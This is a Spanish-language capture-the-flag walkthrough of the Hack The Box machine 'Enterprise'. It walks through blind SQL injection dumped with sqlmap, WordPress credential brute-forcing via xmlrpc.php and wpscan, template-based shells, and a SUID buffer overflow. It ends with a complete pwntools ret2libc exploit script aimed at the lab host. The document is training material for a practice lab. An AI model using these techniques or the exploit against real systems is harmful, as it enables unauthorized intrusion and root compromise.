HTB-Enterprise
IP -> 10.10.10.61
Reconocimiento
Nmap
Utilizamos nmap y obtenemos los siguientes resultados. Enterprise Nmap Result
whatweb
Con la herramienta whatweb comprobamos si nos detecta un CMS.
80 -> Wordpress 443 -> (N/A) 8080 -> Joomla
https
Con openssl comprobamos el certificado para obtener dominios y correos. Añadimos el host al /etc/hosts
Host: enterprise.local
32812
Con netcat nos conectamos al servicio a ver que podemos hacer. Nos pide un access code.
http
Al acceder a la página, no cargan bien las cosas, en el código vemos que toma los vínculos de “enterprise.htb”. Añadimos el dominio.
Host: enterprise.htb
Wordpress
En los posts, vemos usuarios. En el panel de autenticación wp-login.php validamos los usuarios.
Users: william.riker
https
Vemos un servicio con pocos recursos, vamos a utilizar tanto nmap, wfuzz o gobuster.
/files
Encontramos un archivo comprimido.
lcars.zip
Al descomprimirlo vemos 3 archivos con extensión php.
lcars.php -> Comentado, similar a un plugin de wordpress. lcars_db.php -> Recibe por el parámetro query, algo para realizar sentencias SQL.
Suponemos que es un plugin.
Encontramos manualmente la ruta: /wp-content/plguins/lcars/
Probamos inyecciones SQL en el archivo lcars_db.php. Como en sí es una sentencia, no tenemos que utilizar ‘. Como no reporta nada por consola, se trata de una inyección Blind-SQL.
Exploitation
SQLMap
Como es mucho lo que tenemos que dumpear y es basado en tiempo, utilizamos sqlmap. Enumeramos la base de datos wordpress, tabla wp_users.
USER: william.riker\@enterprise.htb PASS: HashedPass (can’t crack it)
Enumeramos la base de datos wordpress, tabla wp_posts.
post_content -> nos reporta un post, tenemos que sanitizarlo
cat file.csv | sed 's/\\n/\n/g' | sed '/^\s*$/d' | sed 's/\\r/\r/g'
Vemos que tenemos un listado de 4 credenciales.
Wordpress
Bruteforce de contraseñas
xmlrpc.php
Validamos credenciales en la API, en xmlrpc.php. Buscamos en google para bruteforcearlo.
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>administrator</value></param>
<param><value>admin</value></param>
</params>
</methodCall>
Mediante esta estructura, validamos contraseñas para el usuario.
wp-scan
wpscan --url "http://enterprise.htb" -U 'william.riker' -P credentials.txt
Encontramos una contraseña válida.
wp-login
Utilizamos la clásica para entrar por Wordpress con el 404.php.
Container Escape
172.17.0.4
OS
hostname -I
cat wp-config.php
IP: 172.17.0.4 Credenciales válidas.
SQLMap
Mediante la inyección anterior enumeramos la base de datos joomladb (la joomla está vacía) tabla *_users, username and password.
+2 Usuarios +2 Hashes (Probamos a romperlas con los diccionarios de contraseñas que tenemos del anterior dumpeo) +2 Passwords
Iniciamos sesión en el joomla y explotamos la plantilla.
172.17.0.3
OS
hostname -I
cd /var/www/html
ls
cd files
ls
mount -l
IP: 172.17.0.3 En el directorio files encontramos el lcars.zip, que es el 3er servicio http que estaba corriendo. Creamos un archivo php, para conseguir otra reverse shell. Con el mount podemos intuir que esa carpeta realmente esté en otra máquina/contenedor.
user.txt
PrivEsc
OS
cd / find \-perm -4000 2>/dev/null
/bin/lcars -> Binario con SUID, tenemos acceso al binario que siempre se ejecuta por root y está expuesto.
Traemos el binario a nuestra máquina para analizarlo.
ltrace ./lcars
Al introducirle un valor, vemos que lo compara con la string “picarda1”. Volvemos a iniciarlo con la contraseña obtenida. Probamos con el “Security”, nos pide un código, probamos a provocar un BufferOverflow. Tenemos segmentation fault.
BufferOverflow
gdb ./lcars
r
picarda1
4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
pattern create 500
r
picarda1
4
$(pattern create 500)
pattern offset $eip
file lcars
checksec
eip -> “daac” offtet (little endian) -> 212 No tiene DEP activado pero tiene PIE, por lo que recibe aleatorización en la pila. Comprobamos si el ASLR está activado.
ldd /bin/lcars | grep libc | awk 'NF{print $NF}' | tr -d '()'
ldd /bin/lcars | grep libc | awk 'NF{print $NF}' | tr -d '()'
ldd /bin/lcars | grep libc | awk 'NF{print $NF}' | tr -d '()'
cat /proc/sys/kernel/randomize_va_space
ASLR desactivado.
Ret2libc
Ret2libc -> system_addr -> exit_addr -> bin_sh
gdb /bin/lcars
r
picarda1
4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
p system
p exit
find &system,+9999999,"sh"
system_addr exit_addr 3x sh_addr
#!/usr/bin/python3
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
def bufferOverflow():
offset = 212
junk = b"A"*offset
system_addr = p32(0xf7e4c060)
exit_addr = p32(0xf7e3faf0)
sh_addr = p32(0xf7f6ddd5)
payload = junk + system_addr + exit_addr + sh_addr
context(os='Linux', arch='i386')
host, port = "10.10.10.61", 32812
r = remote(host, port)
r.recvuntil("Enter Bridge Access Code:")
r.sendline("picarda1")
r.recvuntil("Waiting for input:")
r.sendline("4")
r.recvuntil("Enter Security Override:")
r.sendline(payload)
r.interactive()
if __name__ == '__main__':
bufferOverflow()
root.txt